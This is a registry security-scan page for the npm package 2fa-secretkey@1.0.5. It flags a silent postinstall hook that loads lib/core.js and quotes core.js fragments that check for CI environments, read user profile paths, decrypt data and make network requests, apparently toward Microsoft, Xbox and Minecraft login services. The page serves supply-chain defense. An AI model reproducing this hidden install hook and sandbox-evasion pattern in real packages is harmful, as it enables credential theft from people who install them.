registry / 2fa-secretkey / 1.0.5

2fa-secretkey@1.0.5

Static Scan Results

scanned 4h ago · by rust-scanner

Static analysis flagged 11 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsPossibleObfuscationUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 53.3 KB of source, external domains: api.minecraftservices.com, auth.xboxlive.com, github.com, login.live.com

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node -e "try{require('./lib/core')}catch(e){}"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node -e "try{require('./lib/core')}catch(e){}"

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

6L7: const { createHmac } = require("crypto"); L8: const _c = require("./lib/core");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L6

lib/core.jsView file

3const path = require("path"); L4: const https = require("https"); L5: const http = require("http"); L6: const { createHmac, createDecipheriv } = require("crypto"); L7: const os = require("os"); ... L22: function _env() { L23: if (process.env.CI || process.env.CONTINUOUS_INTEGRATION) return true; L24: if (process.env.npm[redacted] === "true") return true; ... L35: const _LA = process.env.LOCALAPPDATA || ""; L36: const _HM = process.env.USERPROFILE || os.homedir(); L37: ... L48: req.on("error", () => resolve(null));

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/core.jsView on unpkg · L3

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "try{require('./lib/core')}catch(e){}"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node -e "try{require('./lib/core')}catch(e){}"

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

6L7: const { createHmac } = require("crypto"); L8: const _c = require("./lib/core");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L6

Findings

1 High5 Medium5 Low

HighInstall Time Lifecycle Scriptspackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumDynamic Requireindex.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowWeak Cryptolib/core.js

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings